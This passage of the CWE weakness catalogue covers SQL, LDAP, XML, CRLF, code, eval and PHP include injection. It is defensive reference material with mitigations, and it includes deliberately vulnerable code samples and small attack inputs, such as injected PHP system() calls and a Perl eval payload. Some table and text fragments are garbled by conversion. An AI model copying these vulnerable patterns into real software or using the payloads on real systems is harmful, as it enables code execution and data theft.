Not only will this retrieve message number 1432, it will retrieve all other messages.

In this case, the programmer could apply a simple modification to the code to eliminate the SQL injection:

PHP Example:

Good Code

```
$id = intval($_COOKIE["mid"]);
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");
```

However, if this code is intended to support multiple users with different message boxes, the code might also need an access control check (CWE-285) to ensure that the application user has the permission to see that message.

Example 6:

This example attempts to take a last name provided by a user and enter it into a database.

Perl Example:

Bad Code

```
$userKey = getUserID();
$name = getUserInput();
# ensure only letters, hyphens and apostrophe are allowed
$name = whitelist($name, "^a-zA-z'-$");
$query = "INSERT INTO last_names VALUES('$userKey', '$name')";
```

While the programmer applies a whitelist to the user input, it has shortcomings. First of all, the user is still allowed to provide hyphens which are used as comment structures in SQL. If a user specifies `--` then the remainder of the statement will be treated as a comment, which may bypass security logic. Furthermore, the whitelist permits the apostrophe which is also a data / command separator in SQL. If a user supplies a name with an apostrophe, they may be able to alter the structure of the whole statement and even change control flow of the program, possibly accessing or modifying confidential information. In this situation, both the hyphen and apostrophe are legitimate characters for a last name and permitting them is required. Instead, a programmer may want to use a prepared statement or apply an encoding routine to the input to prevent any data / directive misinterpretations.

Observed Examples

Reference	Description
CVE-2003-0377	SQL injection in security product, using a crafted group name.
CVE-2004-0366	chain: SQL injection in library intended for database authentication allows SQL injection and authentication bypass.
CVE-2007-6602	SQL injection via user name.
CVE-2008-2223	SQL injection through an ID that was supposed to be numeric.
CVE-2008-2380	SQL injection in authentication library.
CVE-2008-2790	SQL injection through an ID that was supposed to be numeric.
CVE-2008-5817	SQL injection via user name or password fields.
CVE-2017-11508	SQL injection in vulnerability management and reporting tool, using a crafted password.

Potential Mitigations

Architecture and Design

Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.

Architecture and Design

Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [R.89.3]

Architecture and Design**Operation****Environment Hardening**

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.89.12]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Implementation**Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the `mysql_real_escape_string()` API function is available in both C and PHP.

Implementation**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When constructing SQL query strings, use stringent whitelists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.

Architecture and Design**Enforcement by Conversion**

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.

Operation**Firewall****Moderate**

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Operation**Implementation****Environment Hardening**

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')

Weakness ID: 90 (Weakness Base)

Status: Draft

Description**Summary**

The software constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms**Languages**

- Language-Independent

Technology Classes

- Database Server

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Confidentiality

Integrity

Availability

Execute unauthorized code or commands

Read application data

Modify application data

An attacker could include input that changes the LDAP query which allows unintended commands or code to be executed, allows sensitive data to be read or modified or causes other unintended behavior.

Demonstrative Examples

The code below constructs an LDAP query using user input address data:

Java Example:

Bad Code

```
context = new InitialDirContext(env);
String searchFilter = "StreetAddress=" + address;
NamingEnumeration answer = context.search(searchBase, searchFilter, searchCtls);
```

Because the code fails to neutralize the address string used to construct the query, an attacker can supply an address that includes additional LDAP queries.

Observed Examples

Reference	Description
CVE-2005-2301	Server does not properly escape LDAP queries, which allows remote attackers to cause a DoS and possibly conduct an LDAP injection attack.

Potential Mitigations

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

CWE-91: XML Injection (aka Blind XPath Injection)

Weakness ID: 91 (Weakness Base)

Status: Draft

Description

Summary

The software does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system.

Extended Description

Within XML, special elements could include reserved words or characters such as "<", ">", "'", and "&", which could then be used to add new data or modify XML syntax.

As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

ParentOf		652	<i>Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')</i>	699 1000	992

Research Gaps

Under-reported. This is likely found regularly by third party code auditors, but there are very few publicly reported examples.

Theoretical Notes

In vulnerability theory terms, this is a representation-specific case of a Data/Directive Boundary Error.

Taxonomy Mappings

References

Amit Klein. "Blind XPath Injection". 2004-05-19. < <http://www.modsecurity.org/archive/amit/blind-xpath-injection.pdf> >.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "XML Injection", Page 1069.. 1st Edition. Addison Wesley. 2006.

Maintenance Notes

The description for this entry is generally applicable to XML, but the name includes "blind XPath injection" which is more closely associated with CWE-643. Therefore this entry might need to be deprecated or converted to a general category - although injection into raw XML is not covered by CWE-643 or CWE-652.

CWE-92: DEPRECATED: Improper Sanitization of Custom Special Characters

Weakness ID: 92 (*Deprecated Weakness Base*)

Status: Deprecated

Description

Summary

This entry has been deprecated. It originally came from PLOVER, which sometimes defined "other" and "miscellaneous" categories in order to satisfy exhaustiveness requirements for taxonomies. Within the context of CWE, the use of a more abstract entry is preferred in mapping situations. CWE-75 is a more appropriate mapping.

CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')

Weakness ID: 93 (*Weakness Base*)

Status: Draft

Description

Summary

The software uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Integrity

Modify application data

Demonstrative Examples

If user input data that eventually makes it to a log message isn't checked for CRLF characters, it may be possible for an attacker to forge entries in a log file.

Java Example:

Bad Code

```
logger.info("User's street address: " + request.getParameter("streetAddress"));
```

Observed Examples

Reference	Description
CVE-2002-1771	CRLF injection enables spam proxy (add mail headers) using email address or name.
CVE-2002-1783	CRLF injection in API function arguments modify headers for outgoing requests.
CVE-2004-1513	Spoofed entries in web server log file via carriage returns
CVE-2004-1687	Chain: HTTP response splitting via CRLF in parameter related to URL.
CVE-2005-1951	Chain: Application accepts CRLF in an object ID, allowing HTTP response splitting.
CVE-2006-4624	Chain: inject fake log entries with fake timestamps using CRLF injection

Potential Mitigations

Implementation

Avoid using CRLF as a special sequence.

Implementation

Appropriately filter or quote CRLF sequences in user-controlled input.

CWE-94: Improper Control of Generation of Code ('Code Injection')

Weakness ID: 94 (Weakness Class)**Status:** Draft**Description****Summary**

The software constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Extended Description

When software allows a user's input to contain code syntax, it might be possible for an attacker to craft the code in such a way that it will alter the intended control flow of the software. Such an alteration could lead to arbitrary code execution.

Injection problems encompass a wide variety of issues -- all mitigated in very different ways. For this reason, the most effective way to discuss these weaknesses is to note the distinct features which classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms**Languages**

- Interpreted languages (*Sometimes*)

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences**Access Control****Bypass protection mechanism**

In some cases, injectable code controls authentication; this may lead to a remote vulnerability.

Access Control**Gain privileges / assume identity**

Injected code can access resources that the attacker is directly prevented from accessing.

Integrity**Confidentiality****Availability****Execute unauthorized code or commands**

Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.

Non-Repudiation**Hide activities**

Often the actions performed by injected control code are unlogged.

Likelihood of Exploit

Medium

Demonstrative Examples**Example 1:**

This example attempts to write user messages to a message file and allow users to view them.

PHP Example:

Bad Code

```
$MessageFile = "cwe-94/messages.out";
if ($_GET["action"] == "NewMessage") {
    $name = $_GET["name"];
    $message = $_GET["message"];
    $handle = fopen($MessageFile, "a+");
    fwrite($handle, "<b>$name</b> says '$message'<hr>\n");
    fclose($handle);
    echo "Message Saved!<p>\n";
}
else if ($_GET["action"] == "ViewMessages") {
    include($MessageFile);
}
```

While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:

Attack

```
name=h4x0r
message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E
```

which will decode to the following:

Attack

```
<?php system("/bin/ls -l");?>
```

The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages.

Notice that XSS (CWE-79) is also possible in this situation.

Example 2:

edit-config.pl: This CGI script is used to modify settings in a configuration file.

Perl Example:

Bad Code

```
use CGI qw(:standard);
sub config_file_add_key {
    my ($fname, $key, $arg) = @_;
    # code to add a field/key to a file goes here
}
sub config_file_set_key {
    my ($fname, $key, $arg) = @_;
    # code to set key to a particular file goes here
}
sub config_file_delete_key {
    my ($fname, $key, $arg) = @_;
    # code to delete key from a particular file goes here
}
sub handleConfigAction {
    my ($fname, $action) = @_;
    my $key = param('key');
    my $val = param('val');
    # this is super-efficient code, especially if you have to invoke
    # any one of dozens of different functions!
    my $code = "config_file_${action}_key(\$fname, \$key, \$val)";
    eval($code);
}
$configfile = "/home/cwe/config.txt";
print header;
if (defined(param('action'))) {
    handleConfigAction($configfile, param('action'));
}
else {
    print "No action specified!\n";
}
```

The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - config_file_add_key(), config_file_set_key(), or config_file_delete_key(). It could set up a conditional to invoke each function separately, but eval() is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as: add_key(","); system("/bin/lS"); This would produce the following string in handleConfigAction(): config_file_add_key(","); system("/bin/lS"); Any arbitrary Perl code could be added after the attacker has "closed off" the construction of the original function call, in order to prevent parsing errors from causing the malicious eval() to fail before the attacker's payload is activated. This particular manipulation would fail after the system() call, because the "_key(\\$fname, \\$key, \\$val)" portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated.

Observed Examples

Reference	Description
CVE-2001-1471	chain: Resultant eval injection. An invalid value prevents initialization of variables, which can be modified by attacker and later injected into PHP eval statement.
CVE-2002-0495	Perl code directly injected into CGI library file from parameters to another CGI program.
CVE-2002-1750	Eval injection in Perl program.
CVE-2002-1752	Direct code injection into Perl eval function.
CVE-2002-1753	Eval injection in Perl program.
CVE-2003-0395	PHP code from User-Agent HTTP header directly inserted into log file implemented as PHP script.
CVE-2005-1527	Direct code injection into Perl eval function.
CVE-2005-1876	Direct PHP code injection into supporting template file.
CVE-2005-1894	Direct code injection into PHP script that can be accessed by attacker.

Reference	Description
CVE-2005-1921	MFV. code injection into PHP eval statement using nested constructs that should not be nested.
CVE-2005-2498	MFV. code injection into PHP eval statement using nested constructs that should not be nested.
CVE-2005-2837	Direct code injection into Perl eval function.
CVE-2005-3302	Code injection into Python eval statement from a field in a formatted file.
CVE-2007-1253	Eval injection in Python program.
CVE-2008-5071	Eval injection in PHP program.
CVE-2008-5305	Eval injection in Perl program using an ID that should only contain hyphens and numbers.

Potential Mitigations

Architecture and Design

Refactor your program so that you do not have to dynamically generate code.

Architecture and Design

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your software.

Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

To reduce the likelihood of code injection, use stringent whitelists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as `system()`, `exec()`, or `exit()`.

Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Operation**Compilation or Build Hardening****Environment Hardening**

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

Weakness ID: 95 (Weakness Base)

Status: Incomplete

Description**Summary**

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").

Extended Description

This may allow an attacker to execute arbitrary code, or at least modify what code can be executed.

Time of Introduction

- Architecture and Design

- Implementation

Applicable Platforms

Languages

- Java
- Javascript
- Python
- Perl
- PHP
- Ruby
- Interpreted Languages

Modes of Introduction

This weakness is prevalent in handler/dispatch procedures that might want to invoke a large number of functions, or set a large number of variables.

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Confidentiality

Read files or directories

Read application data

The injected code could access restricted data / files.

Access Control

Bypass protection mechanism

In some cases, injectable code controls authentication; this may lead to a remote vulnerability.

Access Control

Gain privileges / assume identity

Injected code can access resources that the attacker is directly prevented from accessing.

Integrity

Confidentiality

Availability

Other

Execute unauthorized code or commands

Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.

Non-Repudiation

Hide activities

Often the actions performed by injected control code are unlogged.

Likelihood of Exploit

Medium

Demonstrative Examples

edit-config.pl: This CGI script is used to modify settings in a configuration file.

Perl Example:

Bad Code

```
use CGI qw(:standard);
sub config_file_add_key {
    my ($fname, $key, $arg) = @_;
    # code to add a field/key to a file goes here
}
sub config_file_set_key {
    my ($fname, $key, $arg) = @_;
    # code to set key to a particular file goes here
}
sub config_file_delete_key {
    my ($fname, $key, $arg) = @_;
    # code to delete key from a particular file goes here
}
sub handleConfigAction {
    my ($fname, $action) = @_;
```

```

my $key = param('key');
my $val = param('val');
# this is super-efficient code, especially if you have to invoke
# any one of dozens of different functions!
my $code = "config_file_\$action_key(\$fname, \$key, \$val)";
eval($code);
}
$configfile = "/home/cwe/config.txt";
print header;
if (defined(param('action'))) {
    handleConfigAction($configfile, param('action'));
}
else {
    print "No action specified!\n";
}

```

The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - `config_file_add_key()`, `config_file_set_key()`, or `config_file_delete_key()`. It could set up a conditional to invoke each function separately, but `eval()` is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as:

Attack

```
add_key(", ", " "); system("/bin/lS");
```

This would produce the following string in `handleConfigAction()`:

Result

```
config_file_add_key(", ", " "); system("/bin/lS");
```

Any arbitrary Perl code could be added after the attacker has "closed off" the construction of the original function call, in order to prevent parsing errors from causing the malicious `eval()` to fail before the attacker's payload is activated. This particular manipulation would fail after the `system()` call, because the `"_key(\$fname, \$key, \$val)"` portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated.

Observed Examples

Reference	Description
CVE-2001-1471	chain: Resultant eval injection. An invalid value prevents initialization of variables, which can be modified by attacker and later injected into PHP eval statement.
CVE-2002-1750	Eval injection in Perl program.

CVE-2005-1527	Direct code injection into Perl eval function.
CVE-2005-1921	MFV. code injection into PHP eval statement using nested constructs that should not be nested.
CVE-2005-2498	MFV. code injection into PHP eval statement using nested constructs that should not be nested.
CVE-2005-2837	Direct code injection into Perl eval function.
CVE-2005-3302	Code injection into Python eval statement from a field in a formatted file.
CVE-2007-1253	Eval injection in Python program.
CVE-2007-2713	Chain: Execution after redirect triggers eval injection.
CVE-2008-5071	Eval injection in PHP program.
CVE-2008-5305	Eval injection in Perl program using an ID that should only contain hyphens and numbers.

Potential Mitigations

Architecture and Design Implementation

If possible, refactor your code so that it does not need to use `eval()` at all.

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.

Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

Other Notes

Factors: special character errors can play a role in increasing the variety of code that can be injected, although some vulnerabilities do not require special characters at all, e.g. when a single function without arguments can be referenced and a terminator character is not necessary.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

Nature	Type	ID	Name	CVSS	Page

CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')

Weakness ID: 96 (Weakness Base)

Status: Draft

Description

Summary

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before inserting the input into an executable resource, such as a library, configuration file, or template.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- PHP
- Perl
- Interpreted

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

This issue is most frequently found in PHP applications that allow users to set configuration variables that are stored within executable PHP files. Technically, this could also be performed in some compiled code (e.g. by byte-patching an executable), although it is highly unlikely.

Common Consequences

Confidentiality

Read files or directories

Read application data

The injected code could access restricted data / files.

Access Control

Bypass protection mechanism

In some cases, injectable code controls authentication; this may lead to a remote vulnerability.

Access Control

Gain privileges / assume identity

Injected code can access resources that the attacker is directly prevented from accessing.

Integrity

Confidentiality

Availability

Other

Execute unauthorized code or commands

Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.

Non-Repudiation

Hide activities

Often the actions performed by injected control code are unlogged.

Demonstrative Examples

This example attempts to write user messages to a message file and allow users to view them.

PHP Example:

Bad Code

```

$messageFile = "cwe-94/messages.out";
if ($_GET["action"] == "NewMessage") {
    $name = $_GET["name"];
    $message = $_GET["message"];
    $handle = fopen($messageFile, "a+");
    fwrite($handle, "<b>$name</b> says '$message'<hr>\n");
    fclose($handle);
    echo "Message Saved!<p>\n";
}
else if ($_GET["action"] == "ViewMessages") {
    include($messageFile);
}

```

While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:

Attack

```

name=h4x0r
message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E

```

which will decode to the following:

Attack

```

<?php system("/bin/ls -l");?>

```

The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages. Notice that XSS (CWE-79) is also possible in this situation.

Observed Examples

Reference	Description
CVE-2002-0495	Perl code directly injected into CGI library file from parameters to another CGI program.
CVE-2003-0395	PHP code from User-Agent HTTP header directly inserted into log file implemented as PHP script.
CVE-2005-1876	Direct PHP code injection into supporting template file.
CVE-2005-1894	Direct code injection into PHP script that can be accessed by attacker.
CVE-2007-6652	chain: execution after redirect allows non-administrator to perform static code injection.

Potential Mitigations**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation**Output Encoding**

Perform proper output validation and escaping to neutralize all code syntax from data written to code files.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

Nature	Type	ID	Name		Page
ChildOf		94	Improper Control of Generation of Code ('Code Injection')		699 1000
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command		888 1376
ChildOf		1019	Validate Inputs		1008 1414
ParentOf		97	Improper Neutralization of Server-Side Includes (SSI) Within a Web Page		699 178 1000
MemberOf		884	CWE Cross-section		884 1306

Relationship Notes

"HTML injection" (see CWE-79: XSS) could be thought of as an example of this, but the code is injected and executed on the client side, not the server side. Server-Side Includes (SSI) are an example of direct static code injection.

Affected Resources

- File or Directory

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name

85	AJAX Fingerprinting	

CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page

Weakness ID: 97 (Weakness Variant)

Status: Draft

Description**Summary**

The software generates a web page, but does not neutralize or incorrectly neutralizes user-controllable input that could be interpreted as a server-side include (SSI) directive.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms**Languages**

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences**Confidentiality****Integrity****Availability**

Execute unauthorized code or commands

Potential Mitigations**Implementation**

Utilize an appropriate mix of whitelist and blacklist parsing to filter server-side include syntax from all input.

Relationships

Nature	Type	ID	Name	✓	Page
ChildOf	B	96	Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')	699	176
ChildOf	C	990	SFP Secondary Cluster: Tainted Input to Command	1000	1376
ChildOf	C	1019	Validate Inputs	1008	1414

Relationship Notes

This can be resultant from XSS/HTML injection because the same special characters can be involved. However, this is server-side code execution, not client-side.

CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

Weakness ID: 98 (Weakness Base)

Status: Draft

Description

Summary

The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions.

Extended Description

In certain versions and configurations of PHP, this can allow an attacker to specify a URL to a remote location from which the software will obtain the code to execute. In other cases in association with path traversal, the attacker can specify a local file that may contain executable statements that can be parsed by PHP.

Alternate Terms

Remote file include

RFI

The Remote File Inclusion (RFI) acronym is often used by vulnerability researchers.

Local file inclusion

This term is frequently used in cases in which remote download is disabled, or when the first part of the filename is not under the attacker's control, which forces use of relative path traversal (CWE-23) attack techniques to access files that may contain previously-injected PHP code, such as web access logs.

Time of Introduction

- Implementation
- Architecture and Design

Applicable Platforms

Languages

- PHP (Often)

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Integrity**Confidentiality****Availability****Execute unauthorized code or commands**

The attacker may be able to specify arbitrary code to be executed from a remote location. Alternatively, it may be possible to use normal program behavior to insert php code into files on the local machine which can then be included and force the code to execute since php ignores everything in the file except for the content between php specifiers.

Likelihood of Exploit

High

Detection Methods**Manual Analysis****High**

Manual white-box analysis can be very effective for finding this issue, since there is typically a relatively small number of include or require statements in each program.

Automated Static Analysis

The external control or influence of filenames can often be detected using automated static analysis that models data flow within the software.

